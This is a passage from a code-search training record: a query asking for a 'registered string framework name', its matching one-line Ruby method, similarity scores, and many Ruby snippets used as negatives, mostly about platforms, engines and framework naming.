"def add_platforms\n updated_lines = updated.lines\n\n # Find last line of GEM\n last_section_of_gem_index = updated.lines.index { |line| line != \"G\" && line.chr == \"\\n\" }\n\n # PLATFORMS should be added after GEM section\n add_platforms_index = last_section_of_gem_index + 1\n\n # Add PLATFORMS section\n updated_lines.insert(\n add_platforms_index, \"\\nPLATFORMS\\n\", \" #{platform_ruby}\\n\"\n )\n\n # Reconstruct lockfile\n updated_lines.join\n end",
"def platform_service_name(version = node.run_state['postgresql']['version'])\n case node['platform_family']\n when 'rhel', 'fedora'\n \"postgresql-#{version}\"\n when 'amazon'\n if node['virtualization']['system'] == 'docker'\n \"postgresql#{version.delete('.')}\"\n else\n \"postgresql-#{version}\"\n end\n else\n 'postgresql'\n end\n end",
"def platform\n backend.platform\n end",
"def platform_merge ln\n flds = ln.split(' ')\n return if flds[0].to_i == 0\n # app-version-arch'\n fname = flds[2]\n #parts = fname.split('-')\n #return if parts[length] < 3\n #puts \"fname = #{fname}\"\n case ln\n when /32\\.exe$/\n @platforms['Win32'] = ln\n when /\\.tbz$/\n return # ignore \n when /\\.run$/\n return # short circuit - ignore .runs in 3.2.15+ \n when /osx\\-.*\\.tgz$/\n @platforms['OSX'] = ln\n when /armhf\\.run$/\n @platforms['Linux_Raspberry'] = ln\n when /i686\\.run$/\n @platforms['Linux_i686'] = ln\n when /x86_64\\.run$/ \n @platforms['Linux_x86_64'] = ln\n when /armhf\\.install$/\n @platforms['Linux_Raspberry'] = ln\n when /i686\\.install$/\n @platforms['Linux_i686'] = ln\n when /x86_64\\.install$/ \n @platforms['Linux_x86_64'] = ln\n when /tar\\.gz$/\n tarball = ln\n else\n #puts \"failed match #{ln}\"\n end\n return\n end",
"def set_platform\n @platform = Platform.find(params[:id])\n end",
"def set_platform\n @platform = Platform.find(params[:id])\n end",
"def set_platform\n @platform = Platform.find(params[:id])\n end",
"def set_platform\n @platform = Platform.find(params[:id])\n end",
"def set_platform\n @platform = Platform.find(params[:id])\n end",
"def set_platform\n @platform = Platform.find(params[:id])\n end",
"def for_platform(platform_name)\n if ENV[\"FASTLANE_PLATFORM_NAME\"] == platform_name.to_s\n yield\n end\n end",
"def register(category, name, klass)\n @plugins[category] ||= {}\n @plugins[category][name.downcase] = klass\n end",
"def p4_platform_label\n case RbConfig::CONFIG[\"target_os\"].downcase\n when /nt|mswin|mingw|cygwin|msys/\n # Ruby on windows is only MinGW via Rubyinstaller.org, though this may\n # not work on all rubies.\n # There are too many permutations of Windows p4api, to automate.\n raise 'Automatic fetching of p4api from perforce FTP is not supported on Windows'\n when /darwin19|darwin[2-9][0-9]/\n \"macosx1015#{p4_cpu(:darwin)}\"\n when /darwin/ \n \"darwin90#{p4_cpu(:darwin)}\"\n when /solaris/\n \"solaris10#{p4_cpu(:solaris)}\"\n when /linux/\n \"linux26#{p4_cpu(:linux)}\" \n end\nend",
"def supported_platforms\n _platforms = {\n #\n # os: 'linux'\n # platform_family: 'debian'\n 'debian' => %w(jessie/sid 7.6 7.5 7.4 7.2 7.1 7.0 6.0.5),\n 'ubuntu' => %w(14.10 14.04 13.10 13.04 12.04 10.04),\n # platform_family: 'rhel'\n 'amazon' => %w(2014.09 2014.03 2013.09 2012.09),\n 'centos' => %w(7.0.1406 6.6 6.5 6.4 6.3 6.0 5.11 5.10 5.9 5.8),\n 'oracle' => %w(6.5 5.10),\n 'redhat' => %w(7.0 6.5 6.4 6.3 6.2 6.1 6.0 5.10 5.9 5.8 5.7 5.6)\n }\nend",
"def platform\n data.platform\n end",
"def instance_name(suite, platform)\n Instance.name_for(suite, platform)\n end"
] | [
"0.69418705",
"0.6764071",
"0.6753172",
"0.674723",
"0.669337",
"0.6612469",
"0.6560629",
"0.65149385",
"0.6347055",
"0.6340858",
"0.62837094",
"0.62524706",
"0.62071586",
"0.61959577",
"0.6172444",
"0.60425633",
"0.59939265",
"0.5974244",
"0.5974244",
"0.5961412",
"0.59219587",
"0.59088254",
"0.5906423",
"0.58903235",
"0.58753866",
"0.5859805",
"0.5859805",
"0.5859805",
"0.585122",
"0.5767065",
"0.5767065",
"0.5736803",
"0.57234937",
"0.57046515",
"0.56908906",
"0.5689639",
"0.5682828",
"0.5676838",
"0.56525517",
"0.56424415",
"0.56329906",
"0.5622224",
"0.56058365",
"0.5594629",
"0.5592559",
"0.55858976",
"0.5582909",
"0.55815005",
"0.55815005",
"0.5561122",
"0.5560324",
"0.5557223",
"0.5553764",
"0.55531096",
"0.55366856",
"0.5534843",
"0.55240923",
"0.55197364",
"0.5513334",
"0.5510282",
"0.550203",
"0.5493566",
"0.5475859",
"0.5459129",
"0.54528445",
"0.544128",
"0.54360306",
"0.5434998",
"0.543357",
"0.5424774",
"0.54112005",
"0.54112005",
"0.5409654",
"0.5408355",
"0.5405418",
"0.53922164",
"0.53901196",
"0.538893",
"0.5387759",
"0.5383133",
"0.5379501",
"0.53780854",
"0.53701144",
"0.53545713",
"0.53538036",
"0.53517526",
"0.5348799",
"0.5347981",
"0.53476274",
"0.53476274",
"0.53476274",
"0.53476274",
"0.53476274",
"0.53476274",
"0.53354007",
"0.5334778",
"0.53321856",
"0.53259546",
"0.53259325",
"0.53189695"
] | 0.7697084 | 0 |
array of registered string engine names: ['totem', 'totem_core', ...] | def engines; engine_names; end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def engines\n self.class.engines_for_name(name)\n end",
"def engines_for_name(name)\n components_for_name(name).last\n end",
"def engines\n owner.json_api_command('tts-engines')\n end",
"def engines\n @engines\n end",
"def name_and_engine\n @engine_name_and_engine ||= Hash[*engines.collect {|e| [engine_name(e), e]}.flatten]\n end",
"def engines\n @_engines ||= [:erb, :erubis]\n end",
"def engine\n names = %w|MTA MSP ARF RFC3464 RFC3834|\n table = {}\n\n names.each do |e|\n r = 'Sisimai::' + e\n require r.gsub('::', '/').downcase\n\n if e == 'MTA' || e == 'MSP'\n # Sisimai::MTA or Sisimai::MSP\n Module.const_get(r).send(:index).each do |ee|\n # Load and get the value of \"description\" from each module\n rr = sprintf('Sisimai::%s::%s', e, ee)\n require rr.gsub('::', '/').downcase\n table[rr.to_sym] = Module.const_get(rr).send(:description)\n end\n else\n # Sisimai::ARF, Sisimai::RFC3464, and Sisimai::RFC3834\n table[r.to_sym] = Module.const_get(r).send(:description)\n end\n end\n\n return table\n end",
"def engines\r\n @engines ||= plugins.select(&:engine?)\r\n end",
"def engines\n @engine_instances ||= ::Rails::Engine.subclasses.map(&:instance).select {|e| is_registered_platform_engine?(e)}\n end",
"def get_engines(engines = false)\n ebengines = []\n Rails::Engine.subclasses.each do |engine|\n ebengines << if engine.name.include?('Eb')\n engines ? engine : engine.name\n end\n end\n @engines = ebengines\n ebengines\n end",
"def engine_name\n @engine_name\n end",
"def engine_sym\n @engine_sym ||= self.class.name.to_s.demodulize.underscore.to_sym\n end",
"def engine_extensions\n exts = extensions\n\n if offset = extensions.index(format_extension)\n exts = extensions[offset+1..-1]\n end\n\n exts.select { |ext| @environment.engines(ext) }\n end",
"def engine_name\n data[:engine_name]\n end",
"def yamler= engine\n case engine\n when 'syck' then warn \"syck has been removed\"\n when 'psych' then @yamler = 'psych'\n else\n raise(ArgumentError, \"bad engine\")\n end\n\n engine\n end",
"def name_and_class\n @engine_name_and_class ||= Hash[*engines.collect { |e| [engine_name(e), engine_class_name(e)] }.flatten]\n engine_name_and_class.dup\n end",
"def engine_name\n data.engine_name\n end",
"def ime_available_engines\n ime.available_engines\n end",
"def path_and_name\n @engine_path_and_name ||= Hash[*engines.collect { |e| [engine_class_name(e).underscore, engine_name(e)] }.flatten]\n engine_path_and_name.dup\n end",
"def initialize *engines\n raise \"Incompatible engine\" unless engines.all? do |e|\n EngineInterface === e\n end\n \n (@engines = engines) # .tap { |x| puts \"ENGINES: #{x.inspect}\" }\n end",
"def engine\n data[:engine]\n end",
"def engine\n data[:engine]\n end",
"def engine_for(path)\n path = File.expand_path(path) \n EXTENSIONS[path.match(/\\.([^\\.]*)$/)[1]]\n end",
"def engine_for(path)\n path = File.expand_path(path) \n EXTENSIONS[path.match(/\\.([^\\.]*)$/)[1]]\n end",
"def get(name)\n @all.find { |e| e.name == name.to_s || e.name == \"#{name}_engine\" }\n end",
"def ime_available_engines\n @bridge.ime_available_engines\n end",
"def engine\n @engine ||= find_engine\n end",
"def add_support_engine(name)\n @log.debug \"Bot: add_support_engine#{name}\"\n ini_size = @supported_games.size\n @all_games_bots.each do |item|\n if item[:key] == name\n @supported_games << item\n end\n end\n fin_size = @supported_games.size\n if fin_size <= ini_size\n @log.error \"Bot: engine #{name} not supported\"\n end\n end",
"def engine_class_name(e)\n e.class.name.deconstantize # remove the ::Engine part\n end",
"def registered_plugin_names\r\n configuration.plugins ? configuration.plugins.map(&:to_s) : nil\r\n end",
"def register hash\n hash.each_pair do |name, engine_class|\n raise \"Class must implement the CanTango Engine API. You can start by sublclassing CanTango::Engine\" if !engine? engine_class\n raise \"Name of engine must be a String or Symbol\" if !name.kind_of_label?\n registered[name.to_sym] = engine_class\n end\n end",
"def stringify_backends(backends)\n backend_strings = []\n backends.each do |name, spec|\n backend_strings << \"#{name}=#{spec}\"\n end\n backend_strings\nend",
"def engine\n Agent.engine_for_user_agent string\n end",
"def engine\n options[:engine] || self.class.engine\n end",
"def engine\n @data.fetch(:ENGINE)\n end",
"def sapi_list\n @sapi_list ||= if supports_php5query?\n `/usr/sbin/php5query -q -S`.split(\"\\n\")\n else Array.new\n end\n end",
"def engine\n return @engine if @engine\n self.engine = self.default_engine\n @engine\n end",
"def add_engine(engine)\n @engines << engine\n end",
"def resolve_engine(name)\n if name && !name.empty? && !name.include?('.')\n ENGINE_ALIASES[name] || \"django.db.backends.#{name}\"\n else\n name\n end\n end",
"def assemblers\n @assemblers.map { |t| t.name } \n end",
"def register hash\n hash.each_pair do |name, engine_class|\n raise \"Class must implement the CanTango::Engine API.\" unless self.class.valid_engine?(engine_class)\n raise \"Name of engine must be a String or Symbol\" if !name.kind_of_label?\n registered[name.to_s] = ability_engine(engine_class)\n end\n end",
"def current_engine\n end",
"def model_name_strings\n model_names.map(&:to_s)\n end",
"def gems_for_template_engine(template_engine)\n gems = ''\n if template_engine != :erb\n if template_engine.in?(:haml, :builder)\n template_engine_plugin = \"merb-#{template_engine}\"\n else\n template_engine_plugin = \"merb_#{template_engine}\"\n end\n gems = %Q{gem \"#{template_engine_plugin}\"}\n end\n gems\n end",
"def marketplace_names\n %w(graphicriver themeforest activeden codecanyon videohive audiojungle photodune 3docean)\n end",
"def gems_for_template_engine(template_engine)\n gems = ''\n if template_engine != :erb\n if [:haml, :builder].include? template_engine\n template_engine_plugin = \"merb-#{template_engine}\"\n else\n template_engine_plugin = \"merb_#{template_engine}\"\n end\n gems = %Q{gem \"#{template_engine_plugin}\"}\n end\n gems\n end",
"def default_engine\n @@default_engine ? @@default_engine : 'retro'\n end",
"def engine=(new_engine)\n case new_engine\n when String, Symbol\n require \"vendor/multi_json/engines/#{new_engine}\"\n @engine = MultiJson::Engines.const_get(\"#{new_engine.to_s.split('_').map{|s| s.capitalize}.join('')}\")\n when Class\n @engine = new_engine\n else\n raise \"Did not recognize your engine specification. Please specify either a symbol or a class.\"\n end\n end",
"def runtime_specific_gems\n []\n end",
"def engine(value = nil)\n if value.nil?\n @engine\n else\n @engine = value\n end\n end",
"def make_command_list\n @list = SES::ExternalText::Languages\n end",
"def register(engine)\n engines.unshift engine.new\n end",
"def reset_engine_registrations!\n @@registered_engine_confs = {}\n end",
"def init(default = :retro)\n begin\n require 'redcloth'\n self.supported_engines['textile'] = TextileEngine.new\n require 'wiki_engine/retro'\n self.supported_engines['retro'] = RetroEngine.new\n rescue LoadError; end\n \n begin\n require 'bluecloth'\n self.supported_engines['markdown'] = MarkDownEngine.new\n rescue LoadError; end\n \n begin\n require 'rdoc/markup/simple_markup'\n require 'rdoc/markup/simple_markup/to_html'\n require 'wiki_engine/rdoc'\n self.supported_engines['rdoc'] = RDocEngine.new\n rescue LoadError; end\n \n self.default_engine = default\n end",
"def name\n @name ||= if !OS.windows? && ruby?\n MRI\n elsif ruby? && engine? && engine == 'rbx'\n Rubinius\n elsif ruby? && engine? && engine == 'maglev'\n MagLev\n elsif engine? && engine == 'jruby'\n JRuby\n end\n end",
"def find_engine\n result = nil\n # We already know the name of the gem from user input\n if Gem.loaded_specs.has_key? gem_name\n # Let's get the gem's full path in the filesystem\n gpath = Gem.loaded_specs[gem_name].full_gem_path\n # Then match the path we've got to the path of an engine - \n # which should have its Module Name (aka paydirt)\n Rails::Application::Railties.engines.each do |engine| \n if engine.class.root.to_s == gpath\n # Get the class name from the engine hash\n result = engine.class\n break\n end\n end\n end\n result\n end",
"def tool_names\n tools.map{|e| e.const_name }\n end",
"def engine; end",
"def engine\n SettingMaster.engine\n end",
"def engine(new_engine = nil)\n @engine = new_engine if new_engine\n @engine\n end",
"def backends; end",
"def environment_loaders\n name = compiler.loaders.public_environment_loader.loader_name\n end",
"def environment_loaders\n name = compiler.loaders.public_environment_loader.loader_name\n end",
"def conformScoreName(name, engine)\n base = \n case engine\n when \"X! Tandem\"\n \"xtandem\"\n when \"MASCOT\"\n \"mascot\"\n when \"OMSSA\"\n \"OMSSA\"\n when \"Tide\"\n \"sequest\"\n when \"Phenyx\"\n \"Phenyx\"\n when \"SpectraST\"\n \"SpectraST\"\n end\n \n [base, name].join(':')\n end",
"def platforms; platform_names; end",
"def plugin_names\n @plugin_names ||= []\n end",
"def default_entity_types(*args)\n Epiphany::Tokenizer::Cache.all_entity_types\n end",
"def default_entity_types(*args)\n Epiphany::Tokenizer::Cache.all_entity_types\n end",
"def engine engine = nil, *args\n if engine && configurable?\n @engine = engine_supported?(engine)\n @engine_args = args\n @ext = guess_extension(@engine)\n end\n @setup[:engine] ||= @engine ||\n (@controller.ctrl.slice.view.engine if @controller) ||\n Presto.view.engine\n end",
"def is_engine? engine\n Engine.is_engine? request.user_agent, engine\n end",
"def current_engine\n unless defined?(@current_engine)\n processors = environment.attributes_for(self.pathname).processors\n processors.each do |processor|\n if engine = CAPTURE_ENGINES[processor.to_s]\n @current_engine = engine\n break\n end\n end\n end\n\n @current_engine\n end",
"def suite_classes\n suite_names.map(&:safe_constantize).compact\n end",
"def used_names; end",
"def engine\n loader_instance.engine\n end",
"def engine\n \"#{sample(fetch_all('vehicle.doors'))} #{fetch('vehicle.cylinder_engine')}\"\n end",
"def lookup_engine (engine_name)\n e = get_participant_map.lookup_participant engine_name\n return e if e\n get_engine\n end",
"def modify_strings\n [:name, :nickname, :character_name, :face_name].each do |s|\n cs = instance_variable_get(\"@#{s}\")\n if SES::ExternalText::Uninstall && cs.is_a?(SES::ExternalText::TextWrapper)\n instance_variable_set(\"@#{s}\", cs.to_s)\n else\n wrapper = SES::ExternalText::TextWrapper.new(s, self.actor)\n instance_variable_set(\"@#{s}\", wrapper)\n end\n end\n end",
"def list_compatible_commands(modelstring)\n sets = []\n @modelsets.each_pair do |set, array|\n sets << set if array.include? modelstring\n end\n sets\n end",
"def register_engine(options={})\n file = options.delete(:file) || __FILE__\n path = options.delete(:path) || 'test/platform/main'\n engine_name = options.delete(:engine_name) || path_to_name(path)\n options[:reset] = false unless options.has_key?(:reset)\n options[:platform_path] ||= 'test/platform'\n options[:platform_name] ||= path_to_name(options[:platform_path])\n engine_path = path + '/engine'\n klass = path_to_class(engine_path)\n @env.register.engine(engine_name, options) unless options[:register] == false\n mock_engine_methods(klass, file, engine_name)\n engines = @env.engine.instance_variable_get(\"@engine_instances\")\n engine = klass.new\n engines.push(engine) # add engine to engine array\n @env.engine.reset! # reset the instance variables so will be re-populated from current engine array\n engine\nend",
"def start(*args)\n options = (args.last.is_a? Hash) ? args.pop : {}\n if args.empty? # ignoring the options Hash\n @all.each { |engine| engine.start(options) }\n else\n args.each do |engine_name| \n engine = get(engine_name)\n raise \"Cannot find engine called '#{engine_name}'. Aborting!\" if engine.nil?\n engine.start(options)\n @active.unshift(engine)\n end\n end\n end",
"def yaml_loader_for(string)\n return PSYCH unless syck_available?\n\n # Only if both engines are available can we choose:\n emitted_by_psych?(string) ? PSYCH : SYCK\n end",
"def systems\n @systems ||= []\n end",
"def engine_id\n\n conf['engine_id'] || 'engine'\n end",
"def typekit_model_text_from_name(name)\n if text = available_typekits[name]\n return *text\n else \n raise OroGen::TypekitNotFound, \"#{client} has no typekit called #{name}\"\n end\n end",
"def template_engine_gem_str(css_framework = '')\n case css_framework.to_s\n when 'semantic'\n 'semantic_ui'\n else\n 'bootstrap'\n end\nend",
"def question_names\n self.catalogs.reduce([]) do |names, catalog|\n questions = \"#{catalog.capitalize}Catalog\".constantize.const_get(\"QUESTIONS\")\n namespaced_questions = questions.map{|question| \"#{catalog}_#{question}\".to_sym }\n\n names + namespaced_questions\n end\n end",
"def engines_reset!\n @engine_instances = nil\n end",
"def ruby_engine; end",
"def ruby_engine; end",
"def systems\n @systems ||= (\n systems = []\n systems << Roll if defined?(::Library)\n systems << Gem if defined?(::Gem)\n systems << Site\n systems\n )\n end",
"def conformScoreName(name, engine)\n base = \n case engine\n when \"X! Tandem (k-score)\"\n \"xtandem\"\n when \"X! Tandem\"\n \"xtandem\"\n when \"MASCOT\"\n \"mascot\"\n when \"OMSSA\"\n \"OMSSA\"\n when \"Tide\"\n \"sequest\"\n when \"Phenyx\"\n \"Phenyx\"\n when \"SpectraST\"\n \"SpectraST\"\n end\n \n [base, name].join(':')\n end",
"def names\n fs = []\n %w( DEFAULT CPU GPU ACCELERATOR CUSTOM ALL ).each { |f|\n fs.push(f) if self.include?( self.class.const_get(f) )\n }\n return fs\n end",
"def all_platforms\n Msf::Module::Platform.subclasses.collect { |c| c.realname.downcase }\n end",
"def to_engine_name(name)\n return nil unless name.instance_of?(String)\n name.underscore.gsub(/\\//, '_')\n end",
"def type1_font_names\n if @options[:built_in_fonts]\n PdfK::FONT_NAMES\n else\n AFM::font_names\n end\n end",
"def alternative_names\n auth_providers.map do |ap|\n { provider: ap.provider, name: \"#{ap.uname} (#{ap.provider})\" }\n end\n end",
"def registry\n\t\tbrand(Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Registry)\n\tend",
"def list_known_strings\n normalize_listing_output rvm(:list, :known_strings).stdout\n end",
"def lexers!\n mentos(:get_all_lexers).inject(Hash.new) do |hash, lxr|\n name = lxr[0]\n hash[name] = {\n :name => name,\n :aliases => lxr[1],\n :filenames => lxr[2],\n :mimetypes => lxr[3]\n }\n hash[\"dasm16\"] = {:name=>\"dasm16\", :aliases=>[\"DASM16\"], :filenames=>[\"*.dasm16\", \"*.dasm\"], :mimetypes=>['text/x-dasm16']}\n hash[\"Puppet\"] = {:name=>\"Puppet\", :aliases=>[\"puppet\"], :filenames=>[\"*.pp\"], :mimetypes=>[]}\n hash[\"Augeas\"] = {:name=>\"Augeas\", :aliases=>[\"augeas\"], :filenames=>[\"*.aug\"], :mimetypes=>[]}\n hash[\"TOML\"] = {:name=>\"TOML\", :aliases=>[\"toml\"], :filenames=>[\"*.toml\"], :mimetypes=>[]}\n hash[\"Slash\"] = {:name=>\"Slash\", :aliases=>[\"slash\"], :filenames=>[\"*.sl\"], :mimetypes=>[]}\n hash\n end\n end",
"def names\n platforms.map { |m| m.realname }\n end"
] | [
"0.71207666",
"0.6734724",
"0.6483996",
"0.64119405",
"0.6411118",
"0.6399408",
"0.6348651",
"0.63226324",
"0.6208553",
"0.6184096",
"0.61754787",
"0.616738",
"0.61513853",
"0.5867653",
"0.5866222",
"0.5844569",
"0.57978916",
"0.579348",
"0.57632893",
"0.5684904",
"0.5679987",
"0.5679987",
"0.5651001",
"0.5651001",
"0.55452317",
"0.5535949",
"0.55285597",
"0.5525537",
"0.5506492",
"0.54772973",
"0.54767686",
"0.5430039",
"0.5397871",
"0.5348609",
"0.53076047",
"0.5302884",
"0.526259",
"0.52588093",
"0.5235407",
"0.5193321",
"0.51704127",
"0.5163196",
"0.5155436",
"0.51526946",
"0.51453084",
"0.5125512",
"0.51142937",
"0.50988257",
"0.5074518",
"0.5067871",
"0.505989",
"0.5050198",
"0.50499153",
"0.50451833",
"0.5014712",
"0.5011802",
"0.50077915",
"0.50073874",
"0.49897847",
"0.4979639",
"0.49772978",
"0.49731943",
"0.49731943",
"0.4960854",
"0.49596024",
"0.49541837",
"0.49335828",
"0.49335828",
"0.49286315",
"0.49103907",
"0.4909436",
"0.48916924",
"0.4888417",
"0.48862413",
"0.48767376",
"0.48705232",
"0.4862418",
"0.48417225",
"0.48382345",
"0.48105234",
"0.48098534",
"0.48074558",
"0.48050275",
"0.4802692",
"0.47980583",
"0.4797324",
"0.47849828",
"0.47819993",
"0.47819993",
"0.47730583",
"0.47652185",
"0.47628975",
"0.47556138",
"0.47535604",
"0.473691",
"0.47346663",
"0.47265837",
"0.47239125",
"0.4703964",
"0.47039375"
] | 0.7655895 | 0 |
registered string framework name | def framework_name; registered_framework_name; end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def framework_name\n self.name.split(\"::\").last.downcase\n end",
"def framework_name\n self.name.split(\"::\").last.downcase\n end",
"def platform_name; non_framework_platforms.first; end",
"def module_specifier_prefix\n if target.requires_frameworks?\n 'framework '\n else\n ''\n end\n end",
"def current_framework=(value)\n @current_framework ||= self.current_framework\n @current_framework = value.to_sym\n return @current_framework\n end",
"def instancename classname\n\t\t\t'i'+classname\n\t\tend",
"def define_name_helpers; end",
"def library_name\n\t\tRex::Text::rand_text_alpha(8) + \".dll\"\n\tend",
"def name\n \"Stdapi: System\"\n end",
"def registry\n\t\tbrand(Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Registry)\n\tend",
"def software_name\n self.class.const_get(:SOFTWARE_NAME)\n end",
"def library_name\n self.class.library_name\n end",
"def real_name; end",
"def load_framework_class(framework)\n begin\n require \"new_relic/control/frameworks/#{framework}\"\n rescue LoadError\n # maybe it is already loaded by some external system\n # i.e. rpm_contrib or user extensions?\n end\n NewRelic::Control::Frameworks.const_get(NewRelic::LanguageSupport.camelize(framework.to_s))\n end",
"def platform\n self.class.name.split(\"::\").last.gsub(/(?<=[^A-Z])[A-Z]+/, \"-\\\\0\").downcase\n end",
"def __name__\n ɴ = self.class.__instances__[ self ]\n namespace.name_get_hook.( ɴ ) if ɴ\n end",
"def template_engine_gem_str(css_framework = '')\n case css_framework.to_s\n when 'semantic'\n 'semantic_ui'\n else\n 'bootstrap'\n end\nend",
"def registered?(ext); end",
"def registered?(ext); end",
"def my_name \n @my_name ||= self.class.name.split(\"::\").last\n end",
"def describePlatform\n TC.name.gsub(' ', '_')\nend",
"def get_basic_name(linker, bb)\n prefix = bb.get_output_prefix(linker)\n name = bb.name\n dylib = bb.shared_suffix linker\n return \"#{prefix}#{name}#{dylib}\"\n end",
"def name\n\t\t\"Stdapi: System\"\n\tend",
"def framework\n @framework\n end",
"def name\n system_name\n end",
"def library_name(code)\n Mylibrary::Application.config.library_map[code] || code\n end",
"def appname\n @appname = \"Jazzify\"\n end",
"def integration_name\n @integration_name ||= begin\n name = self.name.split('::').last\n name.gsub!(/([A-Z]+)([A-Z][a-z])/, '\\1_\\2')\n name.gsub!(/([a-z\\d])([A-Z])/, '\\1_\\2')\n name.downcase!\n name.to_sym\n end\n end",
"def name\n RUBY_PLATFORM\n end",
"def constantize(str)\n Object.const_get(str)\n end",
"def name\n self.class.name.split(\"Ohai::NamedPlugin::\")[1].to_sym\n end",
"def qualified_to_name; end",
"def framework=(fw)\n @framework = fw\n end",
"def my_name\n @my_name ||= self.class.name.split(\"::\").last\n end",
"def platform_name\n \"Flist\"\n end",
"def api_name\n to_s.split('::').last.gsub(/[^\\A]([A-Z])/, '_\\\\1').downcase\n end",
"def getSharediOSFrameworkNames(framework_name)\n # TODO: Need to handle multiple projects\n framework_project_path = getCarthageProjectPath(framework_name)\n \n if framework_project_path.to_s.empty?\n return nil\n end\n \n framework_project = Xcodeproj::Project.open(framework_project_path)\n framework_shared_schemes = Xcodeproj::Project.schemes(framework_project_path)\n framework_targets = framework_project.native_targets.select { |framework_target| framework_target.iOSSharedFramework?(framework_shared_schemes) }\n all_framework_names = framework_targets.map { |framework_target|\n # Check target configuration file first\n framework_name = getConfigAttributes(framework_target)&.dig(\"PRODUCT_NAME\")&.delete! ';'\n \n if framework_name.to_s.empty?\n framework_name = framework_target.common_resolved_build_setting(\"PRODUCT_NAME\")\n end\n \n if framework_name == '$(TARGET_NAME)'\n framework_name = framework_target.name\n elsif framework_name == '$(TARGET_NAME:c99extidentifier)'\n # TODO: Add full support for 'c99extidentifier' if needed\n framework_name = framework_target.name\n elsif framework_name == '$(PROJECT_NAME)'\n framework_name = File.basename(framework_project_path, \".*\")\n end\n \n framework_name\n }\n \n return all_framework_names\nend",
"def get_module_name\n return :core_plugins\n end",
"def name\n @name ||= if !OS.windows? && ruby?\n MRI\n elsif ruby? && engine? && engine == 'rbx'\n Rubinius\n elsif ruby? && engine? && engine == 'maglev'\n MagLev\n elsif engine? && engine == 'jruby'\n JRuby\n end\n end",
"def build_framework?; build.include? 'framework'; end",
"def platform_shortname\n if rhel?\n if \"rocky\" == Ohai[\"platform\"]\n \"rocky\"\n else\n \"el\"\n end\n elsif suse?\n \"sles\"\n else\n Ohai[\"platform\"]\n end\n end",
"def qualified_from_name; end",
"def qualified_from_name; end",
"def backend_name\n config['backend']\n end",
"def framework\n 'inspec'\n end",
"def subsystem\n \"unknown\"\n end",
"def name\n \"#{@namespace}:bf\"\n end",
"def backend_name\n self.class.name.split(\"::\")[-1].split(\"Store\")[0].downcase\n end",
"def framework_package_name\n if lumen?\n \"laravel/lumen-framework\"\n else\n \"laravel/framework\"\n end\n end",
"def inicial\n self.class.name.gsub(/#{Module.nesting.last}::/, '').chr\n end",
"def wordy\n prefix = \"Found #{@name} (#{@version})\"\n\n if @platforms.size == 1\n \"#{prefix}, but was for platform #{@platforms[0]}\"\n else\n \"#{prefix}, but was for platforms #{@platforms.join(' ,')}\"\n end\n end",
"def name\n @name || 'generic'\n end",
"def framework_language\n\n lang = \"{\"\n lang += \"fileTypes = (as);\"\n lang += \"\\tcomment = '#{@framework.capitalize} Framework.';\\n\"\n lang += \"\\tfoldingStartMarker = '\\{\\s*$';\\n\"\n lang += \"\\tfoldingStopMarker = '^\\s*\\}';\\n\"\n lang += \"keyEquivalent = \\\"^~A\\\";\"\n lang += \"name = #{@framework.capitalize};\\n\"\n lang += \"scopeName = 'source.actionscript.3.#{@framework}';\\n\"\n lang += \"\\tpatterns = (\\n\"\n\n all_elements = { \"support.class\" => @class_names,\n \"support.function\" => @method_names,\n \"support.function.protected\" => @protected_method_names,\n \"support.constant\" => @constant_names,\n \"support.property\" => @property_names,\n \"support.property.protected\" => @protected_properties }\n\n all_elements.each do |key, value|\n\n next if value.empty?\n\n lang += \"\\t{\\n\"\n lang += \"\\t\\tname = '#{key}.#{@framework}';\\n\"\n lang += \"\\t\\tmatch = '\\\\b\"\n lang += ListToRegexp.process_list(value.sort.uniq)\n lang += \"\\\\b';\\n\"\n lang += \"\\t},\\n\"\n\n end\n\n lang += \");\\nuuid = '\" + `uuidgen`.chomp + \"'; }\"\n\n end",
"def includes_framework?(framework_name)\n config.app.frameworks.include?(framework_name.to_sym)\n end",
"def name\n raise 'Not implemented'\n end",
"def name\n raise 'Not implemented'\n end",
"def get_satellite_eyes_app_name()\n app_name = \"Satellite Eyes\"\n return app_name\nend",
"def integration_name; end",
"def library_name\n datastore['LibraryName'] || 'msf.dll'\n end",
"def gem_name\n @gem_name ||= \"sprout-#{clean_name}-library\"\n end",
"def get_register(name)\n instance_variable_get(\"@#{name}\".to_sym).symbol\n end",
"def framework\n\t\treturn self.class.framework\n\tend",
"def appname\n \"Application\"\n end",
"def implausible_common_name; end",
"def name\n # override this after inheriting\n # should return a string with no spaces\n # this is the name used to reference the validator in config files\n raise NotImplementedError\n end",
"def clean_name\n global? ? registry.hostname : name\n end",
"def clean_name\n global? ? registry.hostname : name\n end",
"def register_with_system(name)\n @unique_id = name.object_id\n end",
"def app_name ; self.class.rootname.snake_case.to_sym ; end",
"def framework_names\n return @cache_framework_names unless @cache_framework_names.nil?\n\n ret = next_library.nil? ? [] : next_library.framework_directories\n ret += framework_directories\n return @cache_framework_names = ret.compact.uniq.sort\n end",
"def api_framework\n source_node[:apiFramework]\n end",
"def api_framework\n source_node[:apiFramework]\n end",
"def api_framework\n source_node[:apiFramework]\n end",
"def generate\n name_plugin\n end",
"def is_strname?(); @type == GRT_STRNAME; end",
"def name() end",
"def translate_plugin_name(name); end",
"def system_name\n self.name\n end",
"def ns_constantize\n to_s.gsub('__', '::').constantize\n end",
"def name\n internal_name\n end",
"def engine_sym\n @engine_sym ||= self.class.name.to_s.demodulize.underscore.to_sym\n end",
"def two_word_name; end",
"def service(symbol)\n \"#{self.class}::#{symbol.to_s.camelcase}\".constantize\n end",
"def name\n @name ||= self.to_s.demodulize.underscore\n end",
"def plausible_common_name; end",
"def service_key\n (is_a?(Module) ? name : self.class.name).demodulize.underscore.to_sym\n end",
"def service_key\n (is_a?(Module) ? name : self.class.name).demodulize.underscore.to_sym\n end",
"def name\n\t\t\t\t\"Falcon Server\"\n\t\t\tend",
"def include_framework(framework_name)\n framework_name = framework_name.to_sym\n Pakyow.frameworks[framework_name].new(self).boot\n (config.app.frameworks << framework_name).uniq!\n end",
"def plugin_name\n name.split('::').last.underscore.to_sym\n end",
"def get_deployer_class\n fw_class = ( @config.framework ) ? @config.framework.downcase.capitalize : \"\"\n fw_system = ( @config.system ) ? @config.system.downcase.capitalize : \"\"\n \"#{fw_class}#{fw_system}Deployer\"\n end",
